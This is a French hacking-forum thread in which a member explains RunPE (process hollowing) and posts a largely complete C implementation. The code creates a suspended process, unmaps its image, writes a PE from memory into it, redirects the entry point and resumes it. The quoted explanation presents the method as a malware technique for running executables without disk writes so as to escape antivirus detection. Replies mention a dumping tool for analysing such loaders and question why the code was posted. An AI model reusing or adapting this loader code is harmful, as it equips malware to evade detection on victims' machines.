• STATISTIQUES
  • Il y a eu un total de 2 membres et 24380 visiteurs sur le site dans les dernières 24h pour un total de 24 382 personnes!


    Membres: 2 604
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] phrack
    Lot's of stuff !
    Hacking
    [FR] InfoMirmo
    Apprentissage de l'informatique par l'intermédiaire de challenges de sécurité. Venez app...
    Hacking
    [EN] wechall
    Pour les gens n'étant pas familiers avec les sites de challenges, un site de challenges est un site propos...
    Hacking
    [FR] Developpez.net
    Un forum communautaire qui se veut pour les développeurs en générale. Avec presque 500 000 membr...
    Programmation
    [EN] Rankk
    Site de challenge construit sur le principe d'une pyramide à 9 level. Level 1: 60,Level 2: 72,Level 3: 68,Lev...
    Challenges
    [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [EN] Defcon
    Lancé en 1992 par Dark Tangent, DEFCON est la plus ancienne et la plus grande conférence underground de...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[C] RunPE
22-05-2014, 02h12 (Modification du message : 24-05-2014, 14h51 par Ekroz.)
Message : #1
Ekroz Hors ligne
Membre actif
*



Messages : 77
Sujets : 13
Points: 43
Inscription : May 2013
[C] RunPE
Bonsoir N-PN,

Je me suis attelé à coder un RunPE, il s'agit en somme depuis la mémoire, lancer un exécutable, et ce sans écrire sur le disque dur.
Pour le détail technique :

[spoiler]
Citation :RunPE est le nom générique d’une technique utilisée par de nombreux malwares.

Cette technique consiste à lancer un nouveau processus en pause, puis de remplacer le contenu mémoire de l’exécutable en pause et enfin de relâcher le processus. Cela permet d’exécuter un exécutable complet sans avoir à le déposer sur le disque. Cela permet d’éviter la détections par les antivirus d’accès.

Prenons un exemple. dans un Buffer nous avons l’image complète d’un fichier exécutable windows (PE).

La première étape est de démarrer un processus en mode "CREATE_SUSPENDED" avec l’api CreateProcessA de Kernel32.dll. N’importe quel exécutable peut faire l’affaire. il y a juste deux restrictions.
Si on est sur un processus 32 bits, il faut démarrer un processus 32 bits.
Si on est sur un processus GUI, il faut démarrer un processus GUI et non console.

Une fois le processus démarré et suspendu on va utiliser la fonction GetThreadContext de kernel32.dll afin de récupérer le contexte cpu de ce process. Le contexte CPU est une structure (un array quoi) qui va récupérer les valeurs de chaque registre (de DR0 à FS en passant par EAX,EBX etc..) de notre process suspendu.

Dans ce contexte on va s’intéresser à un seul registre, EBX. il va donner l’adresse du PEB (Process Environnement Bloc). Le PEB sous windows est une structure essentielle.
À PEB se trouve l’adresse de base ou est mappé l’exécutable suspendu. On va lire cette adresse grâce à la fonction ReadProcessMemory de kernel32.dll.

Désormais on connait l’adresse de base ou est lancé et mappé le process que nous venons de lancer.

En parsant l’exécutable PE contenu dans notre buffer, on retrouve l’adresse de base de notre Exe (Champ ImageBase de la structure Image_Optionnal_Header).

Si l’adresse collisionne avec celle vu dans la PEB on va utiliser la fonction non documentée NtUnmapViewOfSection de NTDLL.dll afin de démapper l’exécutable dans le processus suspendu et ainsi libérer la mémoire.

On utilise alors la fonction VirtualAllocEX de kernel32.dll pour allouer la mémoire à l’adresse de base de l’exécutable dans notre exécutable suspendu (le mode RWE, pour tous suffit).

Il reste alors à remapper le header, et chaque section à sa place dans le process suspendu. Cette étape nécessite de parser une fois de plus notre PE et d’utiliser WriteProcessMemory de kernel32.dll

Si besoin, il faut updater l’adresse de base dans le process suspendu à PEB grâce encore une fois à WriteProcessMemory.

Enfin , il ne reste plus qu’à updater EAX dans notre contexte CPU avec l’adresse de départ du programme de notre buffer. Cette adresse est contenue elle aussi dans les Header de notre PE (AddressOfEntryPoint + ImageBase de Image_Optionnal_Header ). On replace le contexte CPU dans notre process avec la fonction SetThreadContext de kernel32.dll

Et enfin il ne reste qu’à relâcher le process suspendu avec ResumeThread de kernel32.

Windows reprend la main, initialise les tables d’import et saute a l’entry point de notre programme.

Cette technique nécessite de savoir parser un fichier PE mais n’est pas fondamentalement compliquée et il n’y a pas besoin de fixer les tables d’imports. En fonction des packers, la source est plus ou moins conservée chiffrée tant que c’est possible. Pour certains, breaker sur ResumeThread suffit pour récupérer l’exécutable déchiffré en mémoire. Pour d’autres, il faut breaker sur writeprocessmemory et reconstruire le puzzle.
Source : http://www.root-me.org/fr/Documentation/...atif/RunPE[/spoiler]

Sans plus tarder le code, toujours aussi rigide dans les vérifications ça devient une vieille habitude chez moi ^^

Code C :
int run_pe(LPSTR szFilePath, LPVOID pFile)
{
    typedef LONG (WINAPI *NtUnmapViewOfSection) (HANDLE processHandle, PVOID
                                                 baseAddress);

    PIMAGE_DOS_HEADER idh = pFile;
    PIMAGE_NT_HEADERS inh = NULL;
    PIMAGE_SECTION_HEADER ish = NULL;
    PROCESS_INFORMATION pi;
    STARTUPINFOA si;
    PCONTEXT ctx = VirtualAlloc(NULL, sizeof(ctx), MEM_COMMIT,
                                PAGE_READWRITE);
    PDWORD dwImageBase = NULL;
    NtUnmapViewOfSection xNtUnmapViewOfSection = NULL;
    LPVOID pImageBase = NULL;

    int count = 0;
    int code = 0;

    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));

    if (ctx == NULL) {
        printf("VirtualAlloc(NULL, %d, MEM_COMMIT, PAGE_READWRITE): NULL\n",
               sizeof(ctx));
        code = GetLastError();
        goto end;
    }

    if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("idh->e_magic: %d\n", idh->e_magic);
        code = idh->e_magic;
        goto end;
    }

    inh = pFile + idh->e_lfanew;

    if (inh->Signature != IMAGE_NT_SIGNATURE) {
        printf("inh->Signature: %d\n", inh->Signature);
        code = inh->Signature;
        goto end;
    }

    if (CreateProcess(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
                      NULL, NULL, &si, &pi) == 0) {
        printf("CreateProcess(%p, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, "
               "NULL, NULL, %p, %p): 0\n", szFilePath, &si, &pi);
        code = GetLastError();
        goto end;
    }

    ctx->ContextFlags = CONTEXT_FULL;

    if (GetThreadContext(pi.hThread, ctx) == 0) {
        printf("GetThreadContext(%p, %p): 0\n", pi.hThread, ctx);
        code = GetLastError();
        goto error;
    }

    if (ReadProcessMemory(pi.hProcess, (LPCVOID) ctx->Ebx + 8, &dwImageBase,
                          4, NULL) == 0) {
        printf("ReadProcessMemory(%p, %p, %p, 4, NULL): 0\n", pi.hProcess,
               ctx->Ebx + 8, &dwImageBase);
        code = GetLastError();
        goto error;
    }

    if ((DWORD) dwImageBase == inh->OptionalHeader.ImageBase) {
        if ((xNtUnmapViewOfSection = (NtUnmapViewOfSection)
             GetProcAddress(GetModuleHandle("ntdll.dll"),
                                "NtUnmapViewOfSection")) == NULL) {
            printf("GetProcAddress(%p, \"NtUnmapViewOfSection\"): NULL\n",
                   GetModuleHandle("ntdll.dll"));
            code = GetLastError();
            goto error;
        }

        xNtUnmapViewOfSection(pi.hProcess, dwImageBase);
    }

    if ((pImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)
                                     inh->OptionalHeader.ImageBase,
                                                                     inh->OptionalHeader.SizeOfImage, 0x3000,
                                                                     PAGE_EXECUTE_READWRITE)) == NULL) {
        printf("VirtualAllocEx(%p, %p, %ld, 0x3000, PAGE_EXECUTE_READWRITE): "
               "NULL\n", pi.hProcess, inh->OptionalHeader.ImageBase,
                     inh->OptionalHeader.SizeOfImage);
        code = GetLastError();
        goto error;
    }

    if (WriteProcessMemory(pi.hProcess, pImageBase, pFile,
                           inh->OptionalHeader.SizeOfHeaders, NULL) == 0) {
        printf("WriteProcessMemory(%p, %p, %p, %ld, NULL): 0\n", pi.hProcess,
               pImageBase, pFile, inh->OptionalHeader.SizeOfHeaders, NULL);
        code = GetLastError();
        goto error;
    }

    for (count = 0; count < inh->FileHeader.NumberOfSections; count++) {
        ish = pFile + idh->e_lfanew + 248 + (count * 40);

        if (WriteProcessMemory(pi.hProcess, pImageBase + ish->VirtualAddress,
                               pFile + ish->PointerToRawData,
                                                     ish->SizeOfRawData, NULL) == 0) {
            printf("WriteProcessMemory(%p, %p, %p, %ld, NULL): 0\n", pi.hProcess,
                   pImageBase + ish->VirtualAddress,
                         pFile + ish->PointerToRawData, ish->SizeOfRawData);
            code = GetLastError();
            goto error;
        }
    }

    if (WriteProcessMemory(pi.hProcess, (LPVOID) ctx->Ebx + 8,
                           &inh->OptionalHeader.ImageBase, 4, NULL) == 0) {
        printf("WriteProcessMemory(%p, %p, %p, 4, NULL): 0\n", pi.hProcess,
               ctx->Ebx + 8, &inh->OptionalHeader.ImageBase);
        code = GetLastError();
        goto error;
    }

    ctx->Eax = (DWORD) pImageBase + inh->OptionalHeader.AddressOfEntryPoint;

    if (SetThreadContext(pi.hThread, ctx) == 0) {
        printf("SetThreadContext(%p, %p): 0\n", pi.hThread, ctx);
        code = GetLastError();
        goto error;
    }

    if (ResumeThread(pi.hThread) == -1) {
        printf("ResumeThread(%p): -1\n", pi.hThread);
        code = GetLastError();
        goto error;
    }

    code = EXIT_SUCCESS;
    goto end;

    error:
        if (pImageBase != NULL) {
            /* Decommits a region of memory within the virtual address of the
             * SUSPENDED process */

            if (VirtualFreeEx(pi.hProcess, pImageBase,
                              inh->OptionalHeader.SizeOfImage, MEM_DECOMMIT) == 0)
            {
                printf("VirtualFreeEx(%p, %p, %ld, MEM_COMMIT): 0\n", pi.hProcess,
                       pImageBase, inh->OptionalHeader.SizeOfImage);
                printf("GetLastError(): %ld\n", GetLastError());
            }
        }

        if (pi.hProcess != NULL) {
            /* Terminates the suspended process and all of its threads */
            if (TerminateProcess(pi.hProcess, EXIT_FAILURE) == 0) {
                printf("TerminateProcess(%p, EXIT_FAILURE): 0\n", pi.hProcess);
                printf("GetLastError(): %ld\n", GetLastError());
            }
        }

    end:
        if (ctx != NULL) {
            /* Decommits a region of pages within the virtual address of the
             * current process */

            if (VirtualFree(ctx, sizeof(ctx), MEM_DECOMMIT) == 0) {
                printf("VirtualFree(%p, %d, MEM_DECOMMIT): 0\n", ctx, sizeof(ctx));
                printf("GetLastError(): %ld\n", GetLastError());
            }
        }

        if (pi.hProcess != NULL) {
            /* Close the process handle */
            if (CloseHandle(pi.hProcess) == 0) {
                printf("CloseHandle(%p): 0\n", pi.hProcess);
                printf("GetLastError(): %ld\n", GetLastError());
            }
        }

        if (pi.hThread != NULL) {
            /* Close the thread handle */
            if (CloseHandle(pi.hThread) == 0) {
                printf("CloseHandle(%p): 0\n", pi.hThread);
                printf("GetLastError(): %ld\n", GetLastError());
            }
        }

        if (code != EXIT_SUCCESS)
            printf("code: %d\n", code);

        return code;
}
+1 (4) -1 (0) Répondre
22-05-2014, 06h32
Message : #2
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [C] RunPE
sauf erreur il en manque un bout là, au minimum un include et/ou un main, quelques explications -même succintes- peut-être aussi pour un sujet qui commence à devenir un peu touchy
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (0) -1 (0) Répondre
22-05-2014, 09h38
Message : #3
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,608
Sujets : 71
Points: 466
Inscription : Jan 2012
RE: [C] RunPE
@Ekroz: sinon j'avais aussi écrit un tool qui permet de dump sans trop se casser la tête un RunPE (et qui fonctionne même avec un bin .NET, c'est d'ailleurs pour ça que j'ai codé ce truc :þ) dont la source est dispo ici (le machin est pas maintenu et le code est dégueulasse, mais y'a des tricks sympas dans le code).

Bref globalement mon tool injecte une DLL avant le chargement du processus, DLL qui va hooker WriteProcessMemory pour lui faire écrire le contenu de la zone mémoire dans un fichier (et ainsi récup les binaires sans se fatiguer).

Sinon gruik, les explications sont dans le "spoiler" Wink
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (0) -1 (0) Répondre
22-05-2014, 13h12
Message : #4
Ekroz Hors ligne
Membre actif
*



Messages : 77
Sujets : 13
Points: 43
Inscription : May 2013
RE: [C] RunPE
Je pouvais pas trop poster le reste du code, je sais pas ce que certains en auraient pu en faire, je peux toujours envoyer en MP si ça intéresse.
Sinon merci supersnail pour ta réponse, je regarderai ça d'un peu plus près ça ma l'air intéressant comme technique mais tu dis que le contenu de la zone mémoire est écrit dans un fichier ? Dans ce cas là ça laisse quelques traces sur le disque dur...
+1 (0) -1 (0) Répondre
22-05-2014, 13h48
Message : #5
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,608
Sujets : 71
Points: 466
Inscription : Jan 2012
RE: [C] RunPE
Nan mon prog c'est justement pour dumper un RunPE sans se fatiguer à sortir OllyDBG (et ça permet d'extraire le malware packé avec un gain de temps non négligeable face à un "crypter" codé en .NET ou en AutoIT)
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (0) -1 (0) Répondre
22-05-2014, 13h51
Message : #6
Ekroz Hors ligne
Membre actif
*



Messages : 77
Sujets : 13
Points: 43
Inscription : May 2013
RE: [C] RunPE
Oui la technique est relativement simple pour les RE, quand je vois certains softwares qui émulent leur code dans une VM je me dis que je peux aller me coucher, d'autant plus qu'il y a très peu de documentation à ce sujet, les anti-RE tricks sur le Net restent très basiques à moins de maîtriser parfaitement l'ASM, le format PE, la mémoire, les processus et la crypto...
+1 (0) -1 (0) Répondre
22-05-2014, 15h06
Message : #7
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [C] RunPE
(22-05-2014, 09h38)supersnail a écrit : Sinon gruik, les explications sont dans le "spoiler" Wink

j'avais bien compris, mais tu dis ça parce-que tu connais déjà le principe et que les explications dans le spoiler te sont suffisantes

(22-05-2014, 13h12)Ekroz a écrit : Je pouvais pas trop poster le reste du code, je sais pas ce que certains en auraient pu en faire

ben c'est tout le propos, à quoi (ou à qui) ça sert de poster ça ?

soit on considère que c'est un simili-tuto, et auquel cas il faut considérer également à qui on s'adresse, qui va le lire et qui ça va intéresser, auquel cas le but est de décortiquer le principe et le rendre facilement compréhensible, si on est déjà rodé à l'API win et qu'on a pas besoin de beaucoup d'explications, c'est probablement qu'on tourne autour d'un sujet qu'on connait déjà et de fait c'est plus tellement un tuto puisqu'on y apprend rien de plus qu'on savait pas déjà avant

soit on considère que ça n'a pas une vocation de tuto et qu'on se contente de livrer le code, auquel cas il faut quand même s'efforcer de livrer un code qui compile en l'état vous croyez pas ? c'est une des conditions qui fera que le post trouvera une utilité, intéressera un plus grand nombre de membres etc.
pour le reste on admet que si on fait des tutos sur comment pirater à l'aide de SQLi on peut bien donner le code d'un RunPE, sans parler du fait que ce qui est posté a une vocation pédagogique et qu'on ne saurait être tenus responsables de l'utilisation qui en est faite, un peu comme sur la plupart des forums...

bref no offense hein, évidement, mais je pense qu'au delà du sujet posté (plus ou moins intéressant par nature) il convient de s'interroger sur le public visé, sans quoi ben pour comprendre à quoi sert/comment fonctionne RunPE, autant que j'aille regarder ailleurs que sur npn, cqfd
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (1) -1 (1) Répondre


Atteindre :


Utilisateur(s) parcourant ce sujet : 4 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut